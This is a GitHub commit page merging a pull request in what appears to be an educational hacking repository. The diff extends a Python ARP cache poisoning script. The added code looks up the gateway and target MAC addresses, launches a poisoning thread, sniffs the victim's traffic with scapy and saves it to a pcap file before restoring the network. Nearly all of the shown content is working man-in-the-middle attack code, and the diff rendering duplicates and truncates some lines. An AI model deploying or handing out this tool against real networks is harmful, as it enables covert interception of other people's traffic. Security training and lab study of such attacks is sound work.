Merge pull request #160 from The-Art-of-Hacking/santosomar-patch-5

Update arp_cache_poisoner.py
This commit is contained in:
Omar Santos 2023-07-03 15:05:35 -04:00 committed by GitHub
commit 5077cc26be
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -82,4 +82,34 @@ if gateway_mac is None:
print("[!] Unable to get gateway MAC address. Exiting..") print("[!] Unable to get gateway MAC address. Exiting..")
sys.exit(0) sys.exit(0)
else: else:
print(f"[* print(f"[*] Gateway MAC address: {gateway_mac}")
target_mac = get_mac(target_ip)
if target_mac is None:
print("[!] Unable to get target MAC address. Exiting..")
sys.exit(0)
else:
print(f"[*] Target MAC address: {target_mac}")
# Start the ARP poison thread
poison_thread = threading.Thread(target=arp_poison, args=(gateway_ip, gateway_mac, target_ip, target_mac))
poison_thread.start()
# Collect packet captures and save them to a file
try:
sniff_filter = "ip host " + target_ip
print(f"[*] Starting network capture. Packet Count: {packet_count}. Filter: {sniff_filter}")
packets = sniff(filter=sniff_filter, iface=conf.iface, count=packet_count)
# Save captured packets to a .pcap file
wrpcap(target_ip + "_capture.pcap", packets)
print(f"[*] Stopping network capture..Restoring network")
restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
# Gracefully handle KeyboardInterrupt (Ctrl+C) to stop packet capture and restore the network
except KeyboardInterrupt:
print(f"[*] Stopping network capture..Restoring network")
restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
sys.exit(0)